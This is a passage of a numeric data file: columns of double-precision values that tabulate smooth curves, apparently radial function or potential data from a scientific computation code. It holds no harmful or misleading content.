0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.3765610317640694E+00  0.7400358894127599E+00  0.1090712381667745E+01  0.1428873061247002E+01\n  0.1754795319320031E+01  0.2068751483890357E+01  0.2371008922950546E+01  0.2661830152878451E+01  0.2941472952229258E+01\n  0.3210190480819170E+01  0.3468231403786657E+01  0.3715840020150198E+01  0.3953256395252374E+01  0.4180716496383695E+01\n  0.4398452330811846E+01  0.4606692085398965E+01  0.4805660266967400E+01  0.4995577842570571E+01  0.5176662378836555E+01\n  0.5349128179575754E+01  0.5513186420878141E+01  0.5669045282968079E+01  0.5816910078133630E+01  0.5956983374101555E+01\n  0.6089465112286805E+01  0.6214552720405558E+01  0.6332441219002502E+01  0.6443323321505209E+01  0.6547389527480199E+01\n  0.6644828208826436E+01  0.6735825688701171E+01  0.6820566313030878E+01  0.6899232514514866E+01  0.6972004869081964E+01\n  0.7039062144810148E+01  0.7100581343365575E+01  0.7156737734061032E+01  0.7207704880673625E+01  0.7253654661198675E+01\n  0.7294757280749858E+01  0.7331181277846054E+01  0.7363093524351962E+01  0.7390659219363427E+01  0.7414041877348629E+01\n  0.7433403310874117E+01  0.7448903608259055E+01  0.7460701106512816E+01  0.7468952359920434E+01  0.7473812104646840E+01\n  0.7475433219735298E+01  0.7473966684877387E+01  0.7469561535331859E+01  0.7462364814367910E+01  0.7452521523604532E+01\n  0.7440174571612401E+01  0.7425464721137732E+01  0.7408530535299623E+01  0.7389508323102637E+01  0.7368532084596213E+01\n  0.7345733456000793E+01  0.7321241655108376E+01  0.7295183427252115E+01  0.7267682992125909E+01  0.7238861991720891E+01\n  0.7208839439630969E+01  0.7177731671964857E+01  0.7145652300086835E+01  0.7112712165393094E+01  0.7079019296315407E+01\n  0.7044678867728360E+01  0.7009793162921103E+01  0.6974461538279471E+01  0.6938780390809384E+01  0.6902843128617441E+01\n  0.6866740144450676E+01  0.6830558792382606E+01  0.6794383367719482E+01  0.6758295090186962E+01  0.6722372090444448E+01\n  0.6686689399961921E+01  0.6651318944281731E+01  0.6616329539676658E+01  0.6581786893203926E+01  0.6547753606144576E+01\n  0.6514289180807551E+01  0.6481450030667977E+01  0.6449289493800484E+01  0.6417857849559566E+01  0.6387202338451258E+01\n  0.6357367185132800E+01  0.6328393624470087E+01  0.6300319930576388E+01  0.6273181448749665E+01  0.6247010630220808E+01\n  0.6221837069619801E+01  0.6197687545062726E+01  0.6174586060758330E+01  0.6152553892029570E+01  0.6131609632642339E+01\n  0.6111769244331025E+01  0.6093046108408382E+01  0.6075451079345281E+01  0.6058992540204510E+01  0.6043676459811814E+01\n  0.6029506451546534E+01  0.6016483833633909E+01  0.6004607690820981E+01  0.5993874937318422E+01  0.5984280380890941E+01\n  0.5975816787979942E+01  0.5968474949742999E+01  0.5962243748896129E+01  0.5957110227246338E+01  0.5953059653803552E+01\n  0.5950075593363216E+01  0.5948139975452642E+01  0.5947233163536738E+01  0.5947334024380974E+01  0.5948419997472152E+01\n  0.5950467164400099E+01  0.5953450318106323E+01  0.5957343031908459E+01  0.5962117728212475E+01  0.5967745746827388E+01\n  0.5974197412800709E+01  0.5981442103695763E+01  0.5989448316235365E+01  0.5998183732239485E+01  0.6007615283788049E+01\n  0.6017709217542990E+01  0.6028431158167253E+01  0.6039746170781648E+01  0.6051618822403686E+01  0.6064013242315937E+01\n  0.6076893181314657E+01  0.6090222069792634E+01  0.6103963074613425E+01  0.6118079154737412E+01  0.6132533115562999E+01\n  0.6147287661949624E+01  0.6162305449892092E+01  0.6177549136818604E+01  0.6192981430488190E+01  0.6208565136465474E+01\n  0.6224263204154009E+01  0.6240038771371831E+01  0.6255855207455509E+01  0.6271676154881747E+01  0.6287465569397743E+01\n  0.6303187758654289E+01  0.6318807419337479E+01  0.6334289672797612E+01  0.6349600099175650E+01  0.6364704770029900E+01\n  0.6379570279467482E+01  0.6394163773787110E+01  0.6408452979641630E+01  0.6422406230730219E+01  0.6435992493032277E+01\n  0.6449181388596262E+01  0.6461943217898319E+01  0.6474248980787193E+01  0.6486070396033000E+01  0.6497379919498787E+01\n  0.6508150760955191E+01  0.6518356899559369E+01  0.6527973098020561E+01  0.6536974915475707E+01  0.6545338719099223E+01\n  0.6553041694472095E+01  0.6560061854736102E+01  0.6566378048559677E+01  0.6571969966942736E+01  0.6576818148888014E+01\n  0.6580903985967331E+01  0.6584209725811516E+01  0.6586718474552983E+01  0.6588414198250604E+01  0.6589281723326368E+01\n  0.6589306736044133E+01  0.6588475781060250E+01  0.6586776259076728E+01  0.6584196423626929E+01  0.6580725377024553E+01\n  0.6576353065506066E+01  0.6571070273597098E+01  0.6564868617732960E+01  0.6557740539163546E+01  0.6549679296172584E+01\n  0.6540678955640928E+01  0.6530734383983693E+01  0.6519841237490329E+01  0.6507995952096807E+01  0.6495195732618538E+01\n  0.6481438541472563E+01  0.6466723086916791E+01  0.6451048810834144E+01  0.6434415876088694E+01  0.6416825153480584E+01\n  0.6398278208326170E+01  0.6378777286689151E+01  0.6358325301288192E+01  0.6336925817105747E+01  0.6314583036722893E+01\n  0.6291301785403415E+01  0.6267087495951198E+01  0.6241946193363197E+01  0.6215884479300494E+01  0.6188909516399138E+01\n  0.6161029012441793E+01  0.6132251204410994E+01  0.6102584842443767E+01  0.6072039173707282E+01  0.6040623926214209E+01\n  0.6008349292596213E+01  0.5975225913853303E+01  0.5941264863095957E+01  0.5906477629296895E+01  0.5870876101068294E+01\n  0.5834472550479789E+01  0.5797279616932335E+01  0.5759310291102085E+01  0.5720577898967909E+01  0.5681096085935931E+01\n  0.5640878801073526E+01  0.5599940281464876E+01  0.5558295036699770E+01  0.5515957833506386E+01  0.5472943680538803E+01\n  0.5429267813328917E+01  0.5384945679412595E+01  0.5339992923638538E+01  0.5294425373668760E+01  0.5248259025678392E+01\n  0.5201510030262340E+01  0.5154194678555982E+01  0.5106329388576237E+01  0.5057930691789439E+01  0.5009015219911397E+01\n  0.4959599691945191E+01  0.4909700901461299E+01  0.4859335704124821E+01  0.4808521005473441E+01  0.4757273748950229E+01\n  0.4705610904194174E+01  0.4653549455591696E+01  0.4601106391091448E+01  0.4548298691284878E+01  0.4495143318754116E+01\n  0.4441657207689196E+01  0.4387857253775341E+01  0.4333760304351776E+01  0.4279383148842287E+01  0.4224742509458196E+01\n  0.4169855032173684E+01  0.4114737277973392E+01  0.4059405714371826E+01  0.4003876707203877E+01  0.3948166512685741E+01\n  0.3892291269744721E+01  0.3836266992617200E+01  0.3780109563712459E+01  0.3723834726741400E+01  0.3667458080107569E+01\n  0.3610995070558891E+01  0.3554460987097478E+01  0.3497870955145241E+01  0.3441239930962816E+01  0.3384582696318687E+01\n  0.3327913853406216E+01  0.3271247820004922E+01  0.3214598824883478E+01  0.3157980903440747E+01  0.3101407893581784E+01\n  0.3044893431825231E+01  0.2988450949638577E+01  0.2932093669997769E+01  0.2875834604167262E+01  0.2819686548696998E+01\n  0.2763662082632170E+01  0.2707773564932239E+01  0.2652033132094799E+01  0.2596452695980827E+01  0.2541043941836626E+01\n  0.2485818326509053E+01  0.2430787076849344E+01  0.2375961188301807E+01  0.2321351423672851E+01  0.2266968312076604E+01\n  0.2212822148052429E+01  0.2158922990850521E+01  0.2105280663881218E+01  0.2051904754323755E+01  0.1998804612890416E+01\n  0.1945989353741675E+01  0.1893467854548430E+01  0.1841248756696710E+01  0.1789340465631234E+01  0.1737751151333199E+01\n  0.1686488748928507E+01  0.1635560959422214E+01  0.1584975250555055E+01  0.1534738857778293E+01  0.1484858785342541E+01\n  0.1435341807496924E+01  0.1386194469794414E+01  0.1337423090499684E+01  0.1289033762095411E+01  0.1241032352883452E+01\n  0.1193424508676993E+01  0.1146215654580135E+01  0.1099410996851037E+01  0.1053015524845333E+01  0.1007034013035967E+01\n  0.9614710231061919E+00  0.9163309061121906E+00  0.8716178047119132E+00  0.8273356554569915E+00  0.7834881911441322E+00\n  0.7400789432232032E+00  0.6971112442584428E+00  0.6545882304400988E+00  0.6125128441430950E+00  0.5708878365301393E+00\n  0.5297157701959697E+00  0.4889990218502538E+00  0.4487397850361310E+00  0.4089400728816994E+00  0.3696017208819437E+00\n  0.3307263897082250E+00  0.2923155680431669E+00  0.2543705754380062E+00  0.2168925651904757E+00  0.1798825272404206E+00\n  0.1433412910812248E+00  0.1072695286845231E+00  0.7166775743626266E-01  0.3653634308175027E-01  0.1875502677966891E-02\n -0.3231469244926006E-01 -0.6603431374472693E-01 -0.9928357246226212E-01 -0.1320628167035092E+00 -0.1643725284591359E+00\n -0.1962133206540352E+00 -0.2275859341981871E+00 -0.2584912350448162E+00 -0.2889302112573159E+00 -0.3189039700865247E+00\n -0.3484137350596561E+00 -0.3774608430824280E+00 -0.4060467415555353E+00 -0.4341729855069461E+00 -0.4618412347410261E+00\n -0.4890532510058743E+00 -0.5158108951799040E+00 -0.5421161244787339E+00 -0.5679709896834355E+00 -0.5933776323912099E+00\n -0.6183382822893291E+00 -0.6428552544532798E+00 -0.6669309466699765E+00 -0.6905678367868668E+00 -0.7137684800877064E+00\n -0.7365355066956285E+00 -0.7588716190043869E+00 -0.7807795891382519E+00 -0.8022622564412896E+00 -0.8233225249964942E+00\n -0.8439633611754367E+00 -0.8641877912188305E+00 -0.8839988988484928E+00 -0.9033998229112149E+00 -0.9223937550548300E+00\n -0.9409839374369939E+00 -0.9591736604667737E+00 -0.9769662605796675E+00 -0.9943651180460338E+00 -0.1011373654813408E+01\n -0.1027995332382722E+01 -0.1044233649718800E+01 -0.1060092141195189E+01 -0.1075574374573462E+01 -0.1090683949017157E+01\n -0.1105424493140398E+01 -0.1119799663091301E+01 -0.1133813140670142E+01 -0.1147468631482395E+01 -0.1160769863126533E+01\n -0.1173720583416712E+01 -0.1186324558640121E+01 -0.1198585571849071E+01 -0.1210507421187702E+01 -0.1222093918253196E+01\n -0.1233348886491358E+01 -0.1244276159626517E+01 -0.1254879580125511E+01 -0.1265162997695628E+01 -0.1275130267816335E+01\n -0.1284785250304552E+01 -0.1294131807913390E+01 -0.1303173804963923E+01 -0.1311915106009982E+01 -0.1320359574535607E+01\n -0.1328511071684896E+01 -0.1336373455024057E+01 -0.1343950577335306E+01 -0.1351246285442432E+01 -0.1358264419067570E+01\n -0.1365008809719085E+01 -0.1371483279610062E+01 -0.1377691640607245E+01 -0.1383637693209943E+01 -0.1389325225558719E+01\n -0.1394758012473418E+01 -0.1399939814520254E+01 -0.1404874377107532E+01 -0.1409565429609723E+01 -0.1414016684519505E+01\n -0.1418231836627389E+01 -0.1422214562228558E+01 -0.1425968518356584E+01 -0.1429497342043625E+01 -0.1432804649606689E+01\n -0.1435894035959656E+01 -0.1438769073950589E+01 -0.1441433313724035E+01 -0.1443890282107847E+01 -0.1446143482024210E+01\n -0.1448196391924410E+01 -0.1450052465247018E+01 -0.1451715129899050E+01 -0.1453187787759769E+01 -0.1454473814206628E+01\n -0.1455576557663118E+01 -0.1456499339167960E+01 -0.1457245451965397E+01 -0.1457818161116118E+01 -0.1458220703128390E+01\n -0.1458456285609144E+01 -0.1458528086934452E+01 -0.1458439255939184E+01 -0.1458192911625301E+01 -0.1457792142888557E+01\n -0.1457240008263066E+01 -0.1456539535683532E+01 -0.1455693722264615E+01 -0.1454705534097164E+01 -0.1453577906060864E+01\n -0.1452313741653029E+01 -0.1450915912833076E+01 -0.1449387259882392E+01 -0.1447730591279191E+01 -0.1445948683588039E+01\n -0.1444044281363676E+01 -0.1442020097068773E+01 -0.1439878811005344E+01 -0.1437623071259354E+01 -0.1435255493658342E+01\n -0.1432778661741579E+01 -0.1430195126742490E+01 -0.1427507407583088E+01 -0.1424717990879937E+01 -0.1421829330961478E+01\n -0.1418843849896296E+01 -0.1415763937532114E+01 -0.1412591951545110E+01 -0.1409330217499327E+01 -0.1405981028915838E+01\n -0.1402546647351420E+01 -0.1399029302486348E+01 -0.1395431192221163E+01 -0.1391754482782035E+01 -0.1388001308834431E+01\n -0.1384173773604920E+01 -0.1380273949010718E+01 -0.1376303875796823E+01 -0.1372265563680394E+01 -0.1368160991502163E+01\n -0.1363992107384622E+01 -0.1359760828896748E+01 -0.1355469043224972E+01 -0.1351118607350228E+01 -0.1346711348230812E+01\n -0.1342249062990785E+01 -0.1337733519113769E+01 -0.1333166454641865E+01 -0.1328549578379474E+01 -0.1323884570101832E+01\n -0.1319173080768030E+01 -0.1314416732738336E+01 -0.1309617119995603E+01 -0.1304775808370537E+01 -0.1299894335770717E+01\n -0.1294974212413071E+01 -0.1290016921059716E+01 -0.1285023917256931E+01 -0.1279996629577071E+01 -0.1274936459863322E+01\n -0.1269844783477041E+01 -0.1264722949547587E+01 -0.1259572281224406E+01 -0.1254394075931317E+01 -0.1249189605622732E+01\n -0.1243960117041727E+01 -0.1238706831979822E+01 -0.1233430947538271E+01 -0.1228133636390794E+01 -0.1222816047047525E+01\n -0.1217479304120173E+01 -0.1212124508588114E+01 -0.1206752738065413E+01 -0.1201365047068555E+01 -0.1195962467284892E+01\n -0.1190546007841516E+01 -0.1185116655574617E+01 -0.1179675375299079E+01 -0.1174223110078329E+01 -0.1168760781494218E+01\n -0.1163289289916911E+01 -0.1157809514774660E+01 -0.1152322314823388E+01 -0.1146828528415948E+01 -0.1141328973770988E+01\n -0.1135824449241374E+01 -0.1130315733582035E+01 -0.1124803586217146E+01 -0.1119288747506621E+01 -0.1113771939011809E+01\n -0.1108253863760298E+01 -0.1102735206509786E+01 -0.1097216634010968E+01 -0.1091698795269313E+01 -0.1086182321805725E+01\n -0.1080667827915982E+01 -0.1075155910928945E+01 -0.1069647151463423E+01 -0.1064142113683687E+01 -0.1058641345553532E+01\n -0.1053145379088904E+01 -0.1047654730608969E+01 -0.1042169900985625E+01 -0.1036691375891408E+01 -0.1031219626045731E+01\n -0.1025755107459436E+01 -0.1020298261677578E+01 -0.1014849516020502E+01 -0.1009409283823040E+01 -0.1003977964671914E+01\n -0.9985559446412423E+00 -0.9931435965261650E+00 -0.9877412800745212E+00 -0.9823493422165672E+00 -0.9769681172927177E+00\n -0.9715979272792943E+00 -0.9662390820122231E+00 -0.9608918794086823E+00 -0.9555566056867116E+00 -0.9502335355826994E+00\n -0.9449229325667899E+00 -0.9396250490561532E+00 -0.9343401266261530E+00 -0.9290683962193379E+00 -0.9238100783522983E+00\n -0.9185653833203373E+00 -0.9133345113999997E+00 -0.9081176530493820E+00 -0.9029149891062611E+00 -0.8977266909840595E+00\n -0.8925529208655598E+00 -0.8873938318944620E+00 -0.8822495683646910E+00 -0.8771202659075404E+00 -0.8720060516765797E+00\n -0.8669070445303514E+00 -0.8618233552128786E+00 -0.8567550865319589E+00 -0.8517023335352547E+00 -0.8466651836841759E+00\n -0.8416437170255952E+00 -0.8366380063613471E+00 -0.8316481174155630E+00 -0.8266741089998076E+00 -0.8217160331760809E+00\n -0.8167739354176268E+00 -0.8118478547676139E+00 -0.8069378239956513E+00 -0.8020438697521995E+00 -0.7971660127208436E+00\n -0.7923042677684496E+00 -0.7874586440932471E+00 -0.7826291453708021E+00 -0.7778157698979398E+00 -0.7730185107345809E+00\n -0.7682373558435663E+00 -0.7634722882284258E+00 -0.7587232860691486E+00 -0.7539903228559367E+00 -0.7492733675209987E+00\n -0.7445723845683611E+00 -0.7398873342017247E+00 -0.7352181724504098E+00 -0.7305648512933688E+00 -0.7259273187813085E+00\n -0.7213055191569296E+00 -0.7166993929733191E+00 -0.7121088772104908E+00 -0.7075339053901175E+00 -0.7029744076884417E+00\n -0.6984303110474385E+00 -0.6939015392841926E+00 -0.6893880131985548E+00 -0.6848896506790639E+00 -0.6804063668071960E+00\n -0.6759380739599310E+00 -0.6714846819106545E+00 -0.6670460979284606E+00 -0.6626222268758263E+00 -0.6582129713047191E+00\n -0.6538182315511271E+00 -0.6494379058280859E+00 -0.6450718903171657E+00 -0.6407200792584876E+00 -0.6363823650392715E+00\n -0.6320586382809613E+00 -0.6277487879249267E+00 -0.6234527013167734E+00 -0.6191702642893190E+00 -0.6149013612442086E+00\n -0.6106458752322457E+00 -0.6064036880324198E+00 -0.6021746802297080E+00 -0.5979587312916264E+00 -0.5937557196436042E+00\n -0.5895655227431641E+00 -0.5853880171529922E+00 -0.5812230786128654E+00 -0.5770705821105107E+00 -0.5729304019514115E+00\n -0.5688024118275793E+00 -0.5646864848853448E+00 -0.5605824937921645E+00 -0.5564903108025173E+00 -0.5524098078228833E+00\n -0.5483408564758644E+00 -0.5442833281634526E+00 -0.5402370941295085E+00 -0.5362020255214600E+00 -0.5321779934512643E+00\n -0.5281648690556621E+00 -0.5241625235557782E+00 -0.5201708283160628E+00 -0.5161896549026552E+00 -0.5122188751411803E+00\n -0.5082583611740192E+00 -0.5043079855170916E+00 -0.5003676211161868E+00 -0.4964371414029022E+00 -0.4925164203501901E+00\n -0.4886053325275901E+00 -0.4847037531561659E+00 -0.4808115581632069E+00 -0.4769286242367184E+00 -0.4730548288797583E+00\n -0.4691900504646559E+00 -0.4653341682871753E+00 -0.4614870626206452E+00 -0.4576486147701215E+00 -0.4538187071266341E+00\n -0.4499972232215512E+00 -0.4461840477811270E+00 -0.4423790667812826E+00 -0.4385821675026696E+00 -0.4347932385860811E+00\n -0.4310121700882537E+00 -0.4272388535381303E+00 -0.4234731819936421E+00 -0.4197150500990645E+00 -0.4159643541430195E+00\n -0.4122209921171803E+00 -0.4084848637757519E+00 -0.4047558706957974E+00 -0.4010339163384737E+00 -0.3973189061112476E+00\n -0.3936107474311905E+00 -0.3899093497893938E+00 -0.3862146248166102E+00 -0.3825264863501910E+00 -0.3788448505024144E+00\n -0.3751696357302771E+00 -0.3715007629068495E+00 -0.3678381553942878E+00 -0.3641817391185885E+00 -0.3605314426461966E+00\n -0.3568871972625555E+00 -0.3532489370527205E+00 -0.3496165989841241E+00 -0.3459901229916214E+00 -0.3423694520649201E+00\n -0.3387545323385251E+00 -0.3351453131843082E+00 -0.3315417473068326E+00 -0.3279437908415819E+00 -0.3243514034561918E+00\n -0.3207645484548654E+00 -0.3171831928860834E+00 -0.3136073076537766E+00 -0.3100368676321130E+00 -0.3064718517840476E+00\n -0.3029122432838121E+00 -0.2993580296435038E+00 -0.2958092028439498E+00 -0.2922657594700352E+00 -0.2887277008506632E+00\n -0.2851950332035602E+00 -0.2816677677851020E+00 -0.2781459210453749E+00 -0.2746295147886844E+00 -0.2711185763397140E+00\n -0.2676131387155659E+00 -0.2641132408039054E+00 -0.2606189275474402E+00 -0.2571302501349864E+00 -0.2536472661993449E+00\n -0.2501700400222663E+00 -0.2466986427467328E+00 -0.2432331525968512E+00 -0.2397736551055949E+00 -0.2363202433506903E+00\n -0.2328730181989250E+00 -0.2294320885591435E+00 -0.2259975716442418E+00 -0.2225695932424345E+00 -0.2191482879980940E+00\n -0.2157337997024620E+00 -0.2123262815945201E+00 -0.2089258966723290E+00 -0.2055328180151234E+00 -0.2021472291164557E+00\n -0.1987693242286884E+00 -0.1953993087191055E+00 -0.1920373994379287E+00 -0.1886838250985003E+00 -0.1853388266698828E+00\n -0.1820026577821215E+00 -0.1786755851443744E+00 -0.1753578889761193E+00 -0.1720498634515968E+00 -0.1687518171576267E+00\n -0.1654640735649029E+00 -0.1621869715128154E+00 -0.1589208657078173E+00 -0.1556661272352739E+00 -0.1524231440846908E+00\n -0.1491923216881294E+00 -0.1459740834715274E+00 -0.1427688714185721E+00 -0.1395771466466322E+00 -0.1363993899941623E+00\n -0.1332361026188316E+00 -0.1300878066054895E+00 -0.1269550455829047E+00 -0.1238383853480043E+00 -0.1207384144961449E+00\n -0.1176557450556807E+00 -0.1145910131248316E+00 -0.1115448795085540E+00 -0.1085180303527610E+00 -0.1055111777728831E+00\n -0.1025250604733206E+00 -0.9956044435388604E-01 -0.9661812309881886E-01 -0.9369891874337012E-01 -0.9080368221234399E-01\n -0.8793329382426256E-01 -0.8508866375406340E-01 -0.8227073244639434E-01 -0.7948047097061904E-01 -0.7671888130764398E-01\n -0.7398699655753553E-01 -0.7128588105567601E-01 -0.6861663038386651E-01 -0.6598037126130515E-01 -0.6337826129880289E-01\n -0.6081148859784694E-01 -0.5828127117427706E-01 -0.5578885618432740E-01 -0.5333551892862030E-01 -0.5092256160742038E-01\n -0.4855131179798897E-01 -0.4622312062232615E-01 -0.4393936057086534E-01 -0.4170142294489704E-01 -0.3951071487762254E-01\n -0.3736865589081760E-01 -0.3527667394121730E-01 -0.3323620090791550E-01 -0.3124866746947142E-01 -0.2931549731709577E-01\n -0.2743810064840861E-01 -0.2561786688503255E-01 -0.2385615655688409E-01 -0.2215429229678155E-01 -0.2051354889121152E-01\n -0.1893514233719176E-01 -0.1742021786166798E-01 -0.1596983686930661E-01 -0.1458496279764457E-01 -0.1326644587608198E-01\n -0.1201500680808027E-01 -0.1083121942521028E-01 -0.9715492398480059E-02 -0.8668050137937885E-02 -0.7688913067140435E-02\n -0.6777877525966872E-02 -0.5934495634602323E-02 -0.5158055544131036E-02 -0.4447562605453990E-02 -0.3801722107660840E-02\n -0.3218924367835703E-02 -0.2697233092980475E-02 -0.2234378075199077E-02 -0.1827753413977412E-02 -0.1474422570309129E-02\n -0.1171131627019387E-02 -0.9143321317637030E-03 -0.7002148003936321E-03 -0.5247551181118452E-03 -0.3837714480605755E-03\n -0.2729955946109330E-03 -0.1881548319023403E-03 -0.1250631789481358E-03 -0.7971820570180325E-04 -0.4839798665393986E-04\n -0.2775118225470492E-04 -0.1487196131798424E-04 -0.7351058493098910E-05 -0.3295260747991843E-05 -0.1310550608265630E-05\n -0.4491803501599659E-06 -0.1275625109004752E-06 -0.2842493719500779E-07 -0.4598019108179812E-08 -0.4812641260020268E-09\n -0.2729062991232811E-10 -0.6277478184238277E-12 -0.3532884035284522E-14 -0.1843992263449434E-17 -0.1064033801639711E-22\n -0.2179574996326970E-32 -0.2191274365894180E-56 -0.5812978673716309E-216  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.8687248663605213E+00  0.1707263902374461E+01  0.2516310697140216E+01  0.3296545407385949E+01\n  0.4048635017677018E+01  0.4773233612655782E+01  0.5470982663629552E+01  0.6142511330615299E+01  0.6788436779961467E+01\n  0.7409364516870689E+01  0.8005888731517908E+01  0.8578592656974877E+01  0.9128048936794247E+01  0.9654819999856910E+01\n  0.1015945843992924E+02  0.1064250739729831E+02  0.1110450093984054E+02  0.1154596444092118E+02  0.1196741495160918E+02\n  0.1236936156481509E+02  0.1275230576911170E+02  0.1311674179017046E+02  0.1346315691793700E+02  0.1379203181786923E+02\n  0.1410384082476923E+02  0.1439905221795016E+02  0.1467812847668937E+02  0.1494152651512514E+02  0.1518969789595702E+02\n  0.1542308902250295E+02  0.1564214130885283E+02  0.1584729132803401E+02  0.1603897093826909E+02  0.1621760738756086E+02\n  0.1638362339698061E+02  0.1653743722316642E+02  0.1667946270065578E+02  0.1681010926478216E+02  0.1692978195595912E+02\n  0.1703888140625709E+02  0.1713780380924828E+02  0.1722694087415465E+02  0.1730667976538239E+02  0.1737740302856498E+02\n  0.1743948850426588E+02  0.1749330923051193E+02  0.1753923333533993E+02  0.1757762392054244E+02  0.1760883893779540E+02\n  0.1763323105833935E+02  0.1765114753736991E+02  0.1766293007427053E+02  0.1766891466979376E+02  0.1766943148126528E+02\n  0.1766480467684931E+02  0.1765535228987511E+02  0.1764138607418140E+02  0.1762321136139172E+02  0.1760112692098567E+02\n  0.1757542482398380E+02  0.1754639031101227E+02  0.1751430166546395E+02  0.1747943009241989E+02  0.1744203960394378E+02\n  0.1740238691130952E+02  0.1736072132467072E+02  0.1731728466062878E+02  0.1727231115810628E+02  0.1722602740288191E+02\n  0.1717865226109467E+02  0.1713039682197727E+02  0.1708146435003250E+02  0.1703205024682137E+02  0.1698234202248845E+02\n  0.1693251927710871E+02  0.1688275369189969E+02  0.1683320903030526E+02  0.1678404114892058E+02  0.1673539801819411E+02\n  0.1668741975280949E+02  0.1664023865162014E+02  0.1659397924698056E+02  0.1654875836329216E+02  0.1650468518455595E+02\n  0.1646186133070283E+02  0.1642038094245007E+02  0.1638033077441462E+02  0.1634179029619614E+02  0.1630483180112684E+02\n  0.1626952052237267E+02  0.1623591475605696E+02  0.1620406599106814E+02  0.1617401904520420E+02  0.1614581220729854E+02\n  0.1611947738496719E+02  0.1609504025761150E+02  0.1607252043430844E+02  0.1605193161621790E+02  0.1603328176313632E+02\n  0.1601657326382578E+02  0.1600180310974979E+02  